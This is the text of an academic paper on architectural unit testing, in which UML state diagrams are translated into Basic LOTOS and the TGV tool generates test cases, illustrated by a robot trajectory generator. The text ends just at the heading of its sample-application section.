{"Source-Url": "http://www.vtuupdates.in/wp-content/uploads/cse/4th-sem/15cs43/m2.pdf", "len_cl100k_base": 15060, "olmocr-version": "0.1.50", "pdf-total-pages": 28, "total-fallback-pages": 0, "total-input-tokens": 53436, "total-output-tokens": 16523, "length": "2e13", "weborganizer": {"__label__adult": 0.00032591819763183594, "__label__art_design": 0.0005030632019042969, "__label__crime_law": 0.0004341602325439453, "__label__education_jobs": 0.003173828125, "__label__entertainment": 9.59634780883789e-05, "__label__fashion_beauty": 0.0001932382583618164, "__label__finance_business": 0.0002574920654296875, "__label__food_dining": 0.0005307197570800781, "__label__games": 0.0014047622680664062, "__label__hardware": 0.0021038055419921875, "__label__health": 0.0005192756652832031, "__label__history": 0.00041794776916503906, "__label__home_hobbies": 0.00017762184143066406, "__label__industrial": 0.0006451606750488281, "__label__literature": 0.0002980232238769531, "__label__politics": 0.0003333091735839844, "__label__religion": 0.0005478858947753906, "__label__science_tech": 0.078369140625, "__label__social_life": 0.00010210275650024414, "__label__software": 0.0081329345703125, "__label__software_dev": 0.89990234375, "__label__sports_fitness": 0.0004031658172607422, "__label__transportation": 0.0007290840148925781, "__label__travel": 0.00024378299713134768}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 46259, 0.03164]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 46259, 0.63415]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 46259, 0.82141]], "google_gemma-3-12b-it_contains_pii": [[0, 574, false], [574, 2458, null], [2458, 4997, null], [4997, 5955, null], [5955, 6797, null], [6797, 7767, null], [7767, 8901, null], [8901, 9688, null], [9688, 10572, null], [10572, 12415, null], [12415, 14355, null], [14355, 16003, null], [16003, 17942, null], [17942, 18804, null], [18804, 20788, null], [20788, 22285, null], [22285, 24873, null], [24873, 27149, null], [27149, 29343, null], [29343, 30957, null], [30957, 33650, null], [33650, 35666, null], [35666, 38075, null], [38075, 40357, null], [40357, 41027, null], [41027, 42848, null], [42848, 45084, null], [45084, 46259, null]], "google_gemma-3-12b-it_is_public_document": [[0, 574, true], [574, 2458, null], [2458, 4997, null], [4997, 5955, null], [5955, 6797, null], [6797, 7767, null], [7767, 8901, null], [8901, 9688, null], [9688, 10572, null], [10572, 12415, null], [12415, 14355, null], [14355, 16003, null], [16003, 17942, null], [17942, 18804, null], [18804, 20788, null], [20788, 22285, null], [22285, 24873, null], [24873, 27149, null], [27149, 29343, null], [29343, 30957, null], [30957, 33650, null], [33650, 35666, null], [35666, 38075, null], [38075, 40357, null], [40357, 41027, null], [41027, 42848, null], [42848, 45084, null], [45084, 46259, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 46259, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, true], [5000, 46259, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 46259, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 46259, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, true], [5000, 46259, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 46259, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 46259, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 46259, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 46259, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 46259, null]], "pdf_page_numbers": [[0, 574, 1], [574, 2458, 2], [2458, 4997, 3], [4997, 5955, 4], [5955, 6797, 5], [6797, 7767, 6], [7767, 8901, 7], [8901, 9688, 8], [9688, 10572, 9], [10572, 12415, 10], [12415, 14355, 11], [14355, 16003, 12], [16003, 17942, 13], [17942, 18804, 14], [18804, 20788, 15], [20788, 22285, 16], [22285, 24873, 17], [24873, 27149, 18], [27149, 29343, 19], [29343, 30957, 20], [30957, 33650, 21], [33650, 35666, 22], [35666, 38075, 23], [38075, 40357, 24], [40357, 41027, 25], [41027, 42848, 26], [42848, 45084, 27], [45084, 46259, 28]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 46259, 0.03537]]}
|
olmocr_science_pdfs
|
2024-12-02
|
2024-12-02
|
6b26c5256425a3615f26409f7125aab93460ff65
|
Architectural Unit Testing
Giuseppe Scollo and Silvia Zecchini
Department of Computer Science
University of Verona
Verona, Italy
Abstract
A formal testing methodology is outlined in this paper, that proves applicable to validation of architectural units in object-oriented models, and its use is illustrated in the context of the design of a robot teleoperation architecture. Automated generation of test cases to validate the functionality of the robot trajectory generation unit showcases the key features of this methodology. A disciplined use of UML state diagrams, to model the unit’s dynamics consistently with its static properties as modeled by class diagrams, enables one to provide such models with Input/Output Labelled Transition Systems (IOLTS) semantics, whence a rich machinery of testing theories and tools based on those theories become readily available. Our case study tells that, besides black-box testing of final implementation units, white-box analysis of architectural units may greatly benefit from the flexibility of parameterized I/O-conformance relations. Test purposes turn out to be a useful methodological link between functional requirements, which they are drawn from, and conformance relations, which they help one to instantiate, thereby delimiting test selection to purposeful tests. Contingent aspects of our methodology include: a mechanical translation of state diagrams in Basic LOTOS, a non-mechanical, use-case driven synthesis of test purposes, expressed in the same language, and the use of the TGV tool for automated test case generation. Other choices in these respects are well possible, without affecting the characteristic traits of the proposed methodology, that are rather to be found in: 1) the combination of object-oriented architectural modeling with IOLTS semantics; 2) the aim at maximizing the potential for test generation from UML models, in a broad view of testing which applies throughout the development process; 3) the specific proposal to consider internal actions as testable actions, in view of a better coordination between testing (discovery of faults) and debugging (discovery of internal sources of faults).
Keywords: formal testing methods, white-box testing, test purpose, test selection, automated test case generation.
1 Email: giuseppe.scollo@univr.it
2 Email: silvia.zecchini@univr.it
1 Introduction
The analysis, design and construction of a complex system can be made conceptually more tractable if one describes the software architecture by a formal specification [21]. A specification of such type enables engineers and designers to check which components’ functionalities, described in the system requirements, are satisfied and to verify the intended interactions of those components. The formal specification of a software architecture provides a solid foundation for developing architecture-based testing techniques [22].
The testing of architectural abstractions allows one to detect defects in the initial phases of the software lifecycle, rather than after implementation or during system integration, as is common practice, and thus to prevent their propagation through the subsequent phases.
In very complex software systems, the amount of information in the system implementation is, typically, more than a single person could understand. A common way to deal with these systems is by using a model of the system. The availability of a model derives, obviously, from the application to realize. Clearly, in a model we must include all the relevant information for our purpose, but we must pay attention to exclude the information that is not necessary. Indeed, a model with too much information may be difficult to comprehend. The name “model-based testing” is a general term used to refer to an approach that bases testing activities, such as test case generation and evaluation, on models of the application under test [6,1,4].
Object-oriented models have found in the Unified Modeling Language (UML) [20] a standard notation, supported by a wide variety of model development tools. This enables one to model design concerns, requirements as well as decisions, at different abstraction levels, or perspectives [3], ranging from the conceptual modeling perspective through a more prescriptive specification perspective, down to concrete implementation perspective. Clearly, all of these prove useful, albeit in different phases of the software development process, but we argue that there’s even room in between. Of particular interest to this paper is an architectural perspective, which is more prescriptive than conceptual modeling in that it fixes design decisions of architectural relevance such as naming of components (packages, classes) and connectors (associations, operations, inheritance relations), as well as ordering of interactions between objects, yet not so complete in its prescriptive character as a specification perspective would be.
In the next section we characterize with some more precision the level of formal detail which is adopted in the architectural perspective taken in the subject case study. For the time being we just point out that several types of
UML diagrams prove useful to express architectural requirements of various kind, e.g. *package* diagrams to partition an architecture into separate layers, *class* diagrams to represent static structure requirements, *interaction* and/or *state* diagrams to highlight dynamic properties of the architecture envisaged and of components or connectors thereof, etc.
One may wonder what sort of relevance or meaning should be ascribed to testing in an architectural modeling perspective. Since this applies at an early design stage, there’s no such a thing as an “implementation under test” to talk about, unless the architectural model would be usable for some kind of prototype generation—a more frequent situation with constructive *specification* models though. Now, traditional views of testing, such as the so-called V-model [23], assign different *testing scopes* (system, integration, unit) to different phases of software development, and in particular defer *unit testing* to the coding phase. On the contrary, we believe that all testing scopes are of relevance to each phase, but under different *testing perspectives*. *Architectural testing* thus is testing of architectural requirements; this may be understood *either* as analysis and verification of architectural models, e.g. to test whether they comply with given user requirements, *or* as an early stage in the design of testers which are to be employed at later development phases, viz. their modeling in an architectural perspective.
*Architectural unit testing* is thus, in the first sense, testing of architectural units against functional requirements, while in the second sense it means architectural modeling of unit testing code. This activity need not wait for the coding phase to start, insofar as theory and tools are available to assist it on the basis of early available architectural models. Furthermore, a clever combination of architectural unit testing in *both senses* provides one with a kind of *validation* of functional requirements, in that in the first sense it maps them to architectural unit models, which are just early abstractions of unit specifications, and then in the second sense it enables designers to see whether those models give rise to sensible unit testing schemes for those requirements, whose testability is thereby assessed. In both cases, architectural unit testing is viewed as relative to given functional requirements here; this will be aided by translating each requirement into a suitable *test purpose* for a given architectural unit, that will drive test selection and test case generation for the given requirement and architectural unit.
UML models most relevant to architectural unit testing are: *class diagrams*, for static requirements, such as the input alphabet of each unit (we take operation names as atomic constituents of an object’s input alphabet, as it will be explained in the next section), and *state diagrams* for dynamic requirements, i.e. those which apply to the object’s behaviour and constrain its
interaction capabilities with its environment. A disciplined use of UML state diagrams, to model the unit’s dynamics consistently with its required static properties, will be the starting point of our methodology for architectural unit testing.
2 Test methodology
The architectural perspective adopted in the subject case study takes the form of a few style prescriptions with respect to the form and level of detail put in UML models.
2.1 Architectural class diagrams
Static structure is conveyed by class diagrams, where each class element actually is a partial description of a class interface; more precisely, it consists of a class name and a list of operation names with no parameters. Relations between elements are the standard ones as in UML class diagrams. A refinement of an architectural class diagram to turn it into the specification perspective would have to complete the interface signatures, that is to say, to add any other required operation not included in the architectural perspective, and to define parameters and return types for all operations. Moreover, further relations as well as attributes may be added by specification refinements.
2.2 Architectural state diagrams
Dynamic requirements on architectural units are modelled by UML state diagrams, under a few assumptions and style prescriptions. We assume each state diagram refers to the behaviour of a generic instance of the architectural unit, which is a class belonging to (only) one architectural class diagram. The I/O alphabet of such an object is defined by:
**inputs**: the operation names defined on the instance by its class, including inherited operation names;
**outputs**: the operation names (defined in any class element of any class diagram of the architectural model) which occur as actions in transition labels of the state diagram.
Simple states have parsimonious, minimal descriptions in the diagrams of present concern, that is, just an optional name, obviously absent for pseudostates; only initial and final pseudostates are admitted here. Richer descriptions are only available for composite, nonconcurrent states, in the form of a state diagram over the substates of the (named) composite state; named substates may be simple as well as composite themselves, recursively.
We recall that the syntax of transition labels of UML state diagrams consists of a triple \textit{event guard / action}, where each of the three components may be absent\textsuperscript{3}. Our style prescriptions so far amount to only use input operation names as \textit{events}, whereas \textit{actions} are output operation names. Furthermore, a limited form of \textit{guard} is admitted, written \texttt{[bCond]}, where \texttt{bCond} is just a \textit{literal} for a boolean condition (thus a possibly negated name).
Other prescriptions for architectural state diagrams are defined as follows, only motivated by the wish to translate them into Basic LOTOS, which features a fairly limited expressiveness, and to do so in a straightforward manner:
- the state diagram has an initial (pseudo)state;
- every transition label consists of at most one of the three components allowed by UML syntax, viz. \textit{event}, \textit{guard}, \textit{action}, which respectively correspond to input, internal action and output;
- anonymous states are made use of as intermediate states when conventional UML transitions with multiple-component labels are splitted into sequences of single-component labelled transitions, in order to satisfy the previous prescription;
- there are no cycles in the state diagram that only cross anonymous states;
- a limited form of \textit{guard conditions} is adopted, in that such a condition is just a literal for a boolean condition, as just explained;
- the initial transition edge (viz. that from initial state to default state) has empty label (no action thus), both at top-level and within any composite state, at any nesting depth;
- incoming edges to the final state have empty label, both at top-level and within any composite state, at any nesting depth.
The main motivation for the following style constraints comes from good design practices. For example, transitions should be preserved by abstraction of a composite state to a simple state as well as by refinement of the latter to the former. This motivates the following restriction:
- all edges that enter or leave a composite state must have their ending at the composite state contour, rather than at some inner state.
The following simple example, although deprived of explanations, should look familiar to most readers. The example aims at illustrating the methodological significance of the aforementioned restriction, as well as the use of the previously stated prescriptions—those which were rather motivated by ease of translation into Basic LOTOS.
\textsuperscript{3} The slash is only present if the \textit{action} component is present.
A basic state diagram of a cash dispenser service is depicted in Figure 1. The state diagram in Figure 2 refines it in two respects:
(i) a more detailed description of state Check: state refinement takes place in the cleanest manner, in that by simply ignoring the composite state structure one gets back the abstract state, with no need to redirect edges.
(ii) a more detailed account of the internal processing that follows a successful completion of the Check: the action refinement illustrated in this case enables one to identify and reason about potential sources of misbehaviour of the service, e.g. if balance update and cash withdrawal are not implemented as an atomic action.
For the transitions specified by edges that enter or leave a composite state, the aforementioned restriction implies that
Consistently with the UML 1.5 standard conventions w.r.t. transitions from/to the initial and final pseudostates of composite states, whereby 1) the transition from the initial state of a composite state must be unlabelled and represents any transition to the enclosing state (this initial transition may have an action, though), and 2) a transition to a final state represents the completion of activity in the enclosing state, which is exited thus—the unlabelled outgoing transition from the composite state contour represents the transition from its inner final state. Also recall that final states have no outgoing edges and initial
---
4 Consistently with the UML 1.5 standard conventions w.r.t. transitions from/to the initial and final pseudostates of composite states, whereby 1) the transition from the initial state of a composite state must be unlabelled and represents any transition to the enclosing state (this initial transition may have an action, though), and 2) a transition to a final state represents the completion of activity in the enclosing state, which is exited thus—the unlabelled outgoing transition from the composite state contour represents the transition from its inner final state. Also recall that final states have no outgoing edges and initial
(i) incoming transitions always lead to the initial state of the composite state,
(ii) unlabelled outgoing transitions always come from the final state of the composite state,
(iii) every labelled outgoing transition is to be allowed from all of the inner states of the composite state, excluding the initial and final (pseudo)states.
Finally, we assume there are no incoming edges to a state if, and only if, this is an initial state, be it the top-level initial state or the initial state of a composite state.
2.3 Semantics of architectural state diagrams
UML state diagrams under the aforementioned style restrictions have a straightforward interpretation as I/O Labelled Transition Systems (IOLTS), where the key fact consists in seriously taking the classic OO view of message exchanges between objects as operation invocations. A distinct benefit of this view is that it helps one to retain traceability of requirements throughout the design process, insofar as high-level interactions, which are basic building blocks of requirement specification, can be traced through the operation invocations which make up them in design and test specification. On the basis of this correspondence, the tracing of functional requirements onto corresponding test cases in the test suite should prove easier to maintain.
The following, standard definition will then take a distinct pragmatic flavour, once the use of (a set of) internal actions in this context will be made clear.
Definition 2.1 [IOLTS]
An IOLTS (Input-Output Labelled Transition System) is an LTS $M = (Q^M, A^M, \rightarrow_M, q^M_{init})$ where $Q^M$ is the set of states, $q^M_{init}$ is the initial state, $\rightarrow_M \subseteq Q^M \times A^M \times Q^M$ is the transition relation and $A^M = A^M_I \cup A^M_O \cup I^M$, where $A^M_I$ and $A^M_O$ are respectively the input and output alphabet, while $I^M$ are the internal or unobservable actions, all three alphabets being pairwise disjoint.
Unobservable actions evidently occur in UML state diagrams whenever all three components of a transition label are absent. Should this be the only case for internal actions, then a singleton for the internal action alphabet $I^M$ would do the job, as it happens in traditional Labelled Transition Systems (LTS) such as those employed in process algebras like CCS [19] or CSP [12]. However,
when message input to an object is viewed as an invocation of an operation on
that object, and output conversely, then I/O interaction is no longer tied to
value passing, but to a server/client relationship—the invoked operation being
a provided service. Now, what if an object invokes an operation of its own?
This phenomenon, often termed self-delegation in OO terminology, whereby
server and client coincide, obviously corresponds to internal action, too.
Furthermore, suppose one would consider a variant of the IOLTS definition
deprived of internal actions, but where the input and output alphabets would
not be required to be disjoint (thus allowing for self-delegation, which can be
statically enforced by declaring private visibility of operations). This variant
is immediately recasted into the standard IOLTS definition by removing the
intersection of the input and output alphabets from these and putting it into
the set of internal actions. This corroborates the OO view of treating both
I/O and internal actions as operation invocations, a view that has a straight-
forward interpretation in the IOLTS model of concurrency. Our architectural
style prescriptions thus require that names of boolean conditions occurring in
guards of transition labels of an object’s state diagram be declared as (private)
operations of that object’s class, in some class diagram.
Now, the question arises whether the set of those internal actions which
correspond to self-delegation coincides with the whole set of internal actions.
A negative answer is immediate from the fact that unlabelled edges are allowed
in architectural state diagrams. We then let $I^M$ include a single “absolutely
unobservable” internal action, which corresponds to the empty label in state
diagrams. The other internal actions thus get a “limited observability” status
in our methodology, in that they are 1) unobservable by any other object in
the architectural model (they are only used for self-delegation), yet 2) observ-
able by testers—which seems meaningful in the context of white-box testing,
e.g. for debugging purposes. These actions will be referred to as the testable
internal actions.
Finally, the semantics of output actions deserves attention; they model
operation invocations on other server objects, but we deliberately disregard
consideration of including the server object reference into the action itself.
This is motivated by the inherently local character of architectural unit test-
ing, whereas collaboration between objects is of concern to integration testing
proper. As a preliminary hint to questions for further research, concurrent
state diagrams, interaction diagrams and activity diagrams seem to be the
appropriate models where collaboration between objects is to be specified,
thus providing the appropriate basis for integration testing suites.
2.4 Test methodology implementation
Once the syntax and semantics of architectural unit modeling are fixed as outlined above, it becomes possible to look for tool support to architectural unit testing in the rich machinery that has flourished as offspring of IOLTS theories during recent years [26,8,15,7,27,11,13]. Now, our methodology aims at test case generation for specific test purposes, associated to user requirements, where the generated test case is viewed as an architectural model of the testing code for that purpose. This aim follows from a view of test selection as not only being the practically viable alternative to exhaustive testing, but also proving beneficial to structuring tests according to user requirements, thus obeying to the basic principle of separation of concerns.
The view of the generated test case as an architectural abstraction of testing code also entails that it need not be restricted to black-box testing. Architectural abstraction does already intrude into the system internals, insofar as it is aimed at driving the organization and construction of internal structure. White-box testing code checks those internals too, insofar as it aims not only at detection of failures to meet externally observable requirements but also at discovering the internal sources of those failures. Generation of test cases where internal actions could be included in the tester’s observation capability proves thus desirable in the context of our testing methodology.
Contingent aspects of our methodology include: a mechanical translation of architectural state diagrams in Basic LOTOS [2], a non-mechanical, use-case driven synthesis of test purposes, expressed in the same language, and the use of the TGV (Test Generation using Verification techniques) tool [8] for automated test case generation. Other choices in these respects are well possible, without affecting the characteristic trait of the proposed methodology, that is rather to be found in the combination of object-oriented architectural modeling with IOLTS semantics.
The rest of this section recalls the relevant Basic LOTOS concepts and then gives an outline of the three steps of the aforementioned implementation of our test methodology, that has been experimented in the subject case study.
2.5 State diagrams in Basic LOTOS
LOTOS (Language of Temporal Ordering Specifications) is an ISO standard language [14] for the specification of concurrent, distributed and non-deterministic systems. A tutorial introduction to LOTOS is available in [2]. Roughly, LOTOS consists of two parts: Basic LOTOS, for specifying interactions and flow of control, and ACT ONE, for the algebraic specification of abstract data types. The structural operational semantics of a LOTOS specification is given
by a LTS, and is defined by a set of inference rules. In general, a LOTOS specification describes a system using a process hierarchy. A process is an entity that may execute internal, unobservable actions, and may interact with other processes through its gates, or interaction points. Complex interactions between processes are built up of elementary units of synchronization which are called events, or (atomic) interactions, or simply actions. A system consists of a set of interacting processes. The environment of a system may also be seen as an observer process, which could be a human, that is assumed to be always ready to observe any observable action at the system interface. Plenty of examples of analysis and verification of properties of LOTOS specifications can be found in the literature, such as [18,24,25], to mention but a few.
To verify the conformance of an architectural unit to required functionalities, its state diagram is translated to Basic LOTOS, which fact proves mechanically feasible when the aforementioned style restrictions on UML state diagrams are obeyed. A detailed outline of this translation is presented in the next subsection. The Basic LOTOS “disabling” operator $\triangleright$ proves very useful in that it allows an almost direct translation of labelled outgoing transitions from composite states in UML state diagrams.
Practically, verification and test case generation are based on a possibly partial exploration of the LTS that describes the behaviour of the system under test. IOLTS semantics is somewhat different from LTS semantics because of the partitioning of the action alphabet into I/O and internal actions. This is circumvented, in our methodology as well as in IOLTS-based test generation tools, by declaring the action partitioning outside the (Basic) LOTOS specification.
### 2.6 Translation UML → Basic LOTOS
In this section a mechanical translation of UML state diagrams in Basic LOTOS is worked out in detail, under the style prescriptions defined in section 2.2. Before presenting the recursive definition of the translation rules, it’s
useful to introduce some notation which proves convenient to this purpose.
**Notation:**
- $\varepsilon$: the empty label (in state diagrams);
- $S_D$: the set of states in diagram $D$, partitioned into:
- $N_D$: the set of named states in $D$ (we let them coincide with their names),
- $U_D$: the set of anonymous states in $D$;
- $C_D$: the set of composite states in diagram $D$, with $C_D \subseteq N_D$;
- $\text{init}_D$: the initial state in diagram $D$;
- $ds_D$: the default state in diagram $D$ (target state of unique outgoing edge from $\text{init}_D$);
- $D_s$: the state diagram inside the region of composite state $s \in C_D$;
- $L_D$: the set of edge labels in diagram $D$;
- $s \xrightarrow{a} D$: if $a$ is the (possibly empty) label of some outgoing edge from state $s$ in $D$;
- $\text{suc}_D: S_D \times L_D \rightarrow S_D$: the partial map such that $\text{suc}_D(s, a) \downarrow$ iff $s \xrightarrow{a} D$, in which case it’s the target state of the $a$-labeled edge outgoing from state $s$;
- $\text{Out}_D(s) = \{a \mid s \xrightarrow{a} D\}$, partitioned into:
- $\text{NOut}_D(s) = \{a \mid s \xrightarrow{a} D, \text{suc}_D(s, a) \in N_D\}$,
- $\text{UOut}_D(s) = \{a \mid s \xrightarrow{a} D, \text{suc}_D(s, a) \in U_D\}$;
$$
\sum_{a \in L} a; B_a = \begin{cases}
\text{stop} & L = \emptyset \\
L = \{a\} : & a; B_a \\
L = \{a\} \cup L' : a; B_a [\sum_{a' \in L'} a'; B_{a'}] & (a \notin L') \\
\end{cases}
$$
where the last definition is standard notation for Basic LOTOS behaviour expressions in normal form, viz. only using $\text{stop}$, action prefix and choice; $L$ is a finite set of nonempty labels here, possibly extended with $i$, the LOTOS symbol for the absolutely unobservable internal action. Owing to LOTOS
concrete syntax, a bijective relabeling \( l : L_D \to (L_D \setminus \{\varepsilon\}) \cup \{i\} \) is defined, with subscript argument, whereby \( l_\varepsilon = i \), \( l_a = a \) if \( a \neq \varepsilon \).
For each named state in the diagram a corresponding LOTOS process is defined, with the name of that state. The diagram \( D \) itself is translated to a specification having \( L_D \setminus \{\varepsilon\} \) as gate set and functionality \( F_D \) defined to be \texttt{exit} if \( D \) has a top-level final state, \texttt{noexit} otherwise; the same gate set and functionality are ascribed to every process definition that is defined for a top-level named state, viz. a named state that is not a substate of a composite state. Named substates of composite states take the gate set and functionality defined as above, but for the diagram \( D_s \) that lies inside the region of their closest containing composite state \( s \), thus \( L_D \setminus \{\varepsilon\} \) as gate set, and functionality \( F_{D_s} = \texttt{exit} \) iff a final state is a direct substate of \( s \). The map \( G_D : N_D \to 2^{L_D \setminus \{\varepsilon\}} \) sends every named state \( s \) to the gate set ascribed to the process definition for \( s \).
For a given state diagram \( D \), we now define a map \( B_D \) sending each state \( s \in S_D \) to a Basic LOTOS behaviour expression over the appropriate set of gates. The map \( B_D \) will provide:
(i) the Basic LOTOS specification with its top-level behaviour expression \( B_D(\text{init}_D) \), and
(ii) the process definition of each named state \( s \in N_D \) with its defining behaviour expression \( B_D(s) \),
thereby completing the definition of the translation of architectural state diagrams in Basic LOTOS. Map \( B_D \) is recursively defined as follows.
The \( B_D \)-image of any (anonymous) final state (be it the top-level final state or the final state of any composite state) is the LOTOS \texttt{exit} process.
The \( B_D \)-image of any (anonymous) initial state (be it the top-level initial state or the initial state of any composite state) depends on whether the subsequent default state is named:
\[
B_D(\text{init}_D) = B_D(ds_D) \text{ if } ds_D \in U_D \\
B_D(\text{init}_D) = ds_D[G_D(ds_D)] \text{ if } ds_D \in N_D
\]
For any other state \( s \in S_D \), if \( s \) is simple (i.e. not composite, see below for this case), then
\[
B_D(s) = \sum_{a \in NOut_D(s)} l_a; suc_D(s, a)[G_D(suc_D(s, a))][] \sum_{a \in UOut_D(s)} l_a; B_D(suc_D(s, a))
\]
The $B_D$-image of a composite state is built by means of the sequential composition and disabling operators, in addition to the previous constructs. The disabling operator is employed to take care of the labelled outgoing transitions from the composite state, thus rendering the fact that such transitions may occur from any of the inner (non pseudo)states of the composite state. The sequential composition operator is employed to specify behaviour after termination of the composite state process, whenever this has exit functionality. The $B_D$-image of $s \in C_D$ is an instance of one of the following behaviour expression schemes, depending on which case applies, with $Bi$ ranging over behaviour expressions ($i = 1, 2, 3$):
\[
\begin{align*}
(B1 \triangleright B2) & \triangleright\triangleright B3 \text{ if } F_{D_s} = \text{exit} \text{ and } Out_D(s) \setminus \{\varepsilon\} \neq \emptyset \\
B1 \triangleright B2 & \text{ if } F_{D_s} = \text{noexit} \text{ and } Out_D(s) \setminus \{\varepsilon\} \neq \emptyset \\
B1 & \triangleright\triangleright B3 \text{ if } F_{D_s} = \text{exit} \text{ and } Out_D(s) = \{\varepsilon\} \\
B1 & \text{ if } F_{D_s} = \text{noexit} \text{ and } Out_D(s) = \emptyset
\end{align*}
\]
where the constituent behaviour expressions are recursively defined as follows:
\[
\begin{align*}
B1 &= B_D(\text{init}_D) \\
B2 &= \sum_{a \in NOut_D(s) \setminus \{\varepsilon\}} a; suc_D(s, a)[G_D(suc_D(s, a))] [\ ] \sum_{a \in UOut_D(s) \setminus \{\varepsilon\}} a; B_D(suc_D(s, a)) \\
B3 &= B_D(suc_D(s, \varepsilon))
\end{align*}
\]
### 2.7 Test purposes
A test purpose is an abstract description of a subset of a specification, that allows one to choose behaviours to test, and consequently, helps one to reduce the extent of specification exploration. This is interpreted as an IOLTS where two disjoint subsets of final states are distinguished. Final states of the test purpose graph are: either accepting states (this means that the purpose is reached) or refusing states (this means that parts of the specification are rejected). A test purpose can thus be formalized by an IOLTS with selected marked states [8,16], as follows.
**Definition 2.2** [Test Purpose]
A test purpose is an IOLTS, $TP = (Q^{TP}, A^{TP}, \rightarrow_{TP}, q_{init}^{TP})$, with a set of states $\text{ACCEPT} \subseteq Q^{TP}$, that define the verdict Pass, and a set of states $\text{REFUSE} \subseteq Q^{TP}$, that define the verdict Fail.
Test purposes enable tools to limit the specification graph exploration by taking a synchronous product of the specification with the test purpose, where specified actions that are not in the I/O alphabets of the test purpose IOLTS are considered as internal actions of the specification. By giving priority to test purpose actions, an effective pruning of the specification graph is obtained. This is explained in some more detail as follows.
2.8 Automatic test generation
The third step of our methodology implementation is concerned with automatic test case generation using TGV. This is a tool for the generation of test suites based on verification technology [8,7], that is integrated into the CADP toolbox [15,11,13].
TGV takes two inputs as arguments: a specification of the system’s behaviour, defined in a language with IOLTS semantics, and the test purpose, which is made use of to select a purposeful subset of the system’s behaviour to be tested.
To produce automatically the appropriate test case, TGV uses algorithms that are peculiar to systems verification technology, such as Tarjan’s Algorithm. The generation is done “on-the-fly” on the synchronous product of the specification with the test purpose. This product avoids states explosion by only exploring the particular fragment of the specification selected according to the test purpose. Thereupon TGV produces a test case, represented by an IOLTS, in which transitions may be labelled with the test verdicts, that are pass, fail or inconclusive. Therefore, a test case is a set of sequences of actions describing all possible interactions between the implementation under test (IUT) and a tester aimed at checking whether the implementation conforms to the specification according to a given test purpose, insofar as this is concerned.
In the present architectural setting, significance of test case generation is twofold: 1) the testability of user requirements is validated by generating test cases for test purposes which are deemed to reflect those requirements in the given model; and 2) the generated test cases are architectural specifications of testers for those test purposes, and may thus be taken as early models for their design, well in advance of implementation and coding phases. In this perspective, reference to the (envisaged) IUT is meaningful although no IUT may be actually available when architectural test case generation takes place.
The system specification and the test case (or tester) TC are both IOLTS, and the output alphabet of TC is a subset of the output alphabet of specification, $A_{TC}^O \subseteq A_S^O$. In practice, in the test case, every trace, that is a transition sequence, describes a corresponding interaction sequence between tester and
IUT. Basically, the conformance relation is the \( \text{ioco}_F \) relation described in [26]. Informally, the conformance relation states that a IUT \( I \) conforms to a specification \( S \), according to a set of traces \( F \), if, after every observable trace in \( F \), the outputs of \( I \) is included in the outputs of \( S \). In our methodology, \( F \) is the subset of the traces of \( S \) that in the test purpose lead to an accepting state.
To use the TGV tool, the specification must be defined as a Binary Coded Graph (BCG), \textit{spec.bcg}, or as a LOTOS specification, while the test purpose must be described as a BCG, say file \textit{tp.bcg}, or in Aldebaran format, say file \textit{tp.aut} [13,17].
In the present application of our methodology we describe the test purpose in Basic LOTOS and we translate the obtained file in Aldebaran format using the \textit{CAESAR/ALDEBARAN Development Package} (CADP) tools. Descriptions of this package can be found in [11,13,15].
3 A robot teleoperation case study
An application example is worked out in this section, that should help the reader to grasp the basic features of the testing methodology proposed here. The case study is drawn from the software architecture design documented in [29].
The class \texttt{TrajectoryGen} we use for this purpose is defined in the context of a package for robot motion control and manipulation, where this class is responsible for trajectory generation, uses forward and inverse kinematics of the robots for this computation, and checks whether the final position is reachable, as well as for possible collisions. The class operations are shown in figure 3.

3.1 State diagram of \texttt{TrajectoryGen}
Figure 4 shows the state diagram of a \texttt{TrajectoryGen} object.
According to the style prescriptions defined in section 2.2 for architectural state diagrams, we let every nonempty transition label consist of only one out of the three label components allowed by UML syntax, viz. *event*, *guard*, *action*, resp. corresponding to input, internal action, output.
Upon creation, a *TrajectoryGen* object is in the *Idle* state, waiting for new data and, in particular, new positions for the controlled robot(s). When it receives these data, the object moves to the *Check* state, to see whether the final position is within reach (*TestPosition*) and, if so, for the absence of obstacles and possible collisions (*TestObstacle*). If the verification succeeds, the object moves to the *WaitGetT* state, otherwise it goes back to *Idle*.
In the *WaitGetT* state the object waits for a *getTrajectory* input. When this occurs, the condition whether the position received is either a modification of a previous trajectory, or a new position used to generate a new trajectory, fires a transition, resp. to *CompModT* or to *CompNewT*. When the computation in either state terminates, the object moves to state *TrajReady*, where it outputs
the newTrajectory to the robot(s), unless a newObject input occurs, signaling a new obstacle in the environment.
If the presence of a new obstacle is signalled, the object moves to the Control state, where it checks whether a collision with the obstacle may occur ([collisionDetected]). If so, then the object goes to the Approach state, where the previous trajectory is modified, so that the robot approaches the obstacle without collisions. The new trajectory is output to the robot, and the trajectory generator goes to the Check state again, where the new trajectory is computed, to reach the final position from the newly reached point. When the new obstacle does not lie on the trajectory, the trajectory generator outputs the computed trajectory to the robot and moves back to Idle.
When the object is in the Idle state and a new obstacle is detected in the robot work environment, a transition to the CheckTraj state fires, where it is checked whether or not there is a trajectory followed by the robot already. If there is such a trajectory, then the object moves to the Control state, where the possibility of collisions with the new obstacle is checked, otherwise it moves back to Idle.
4 Sample application of the test methodology
In this section we apply our test methodology to the TrajectoryGen state diagram, see figure 4.
4.1 State diagram translation in Basic LOTOS
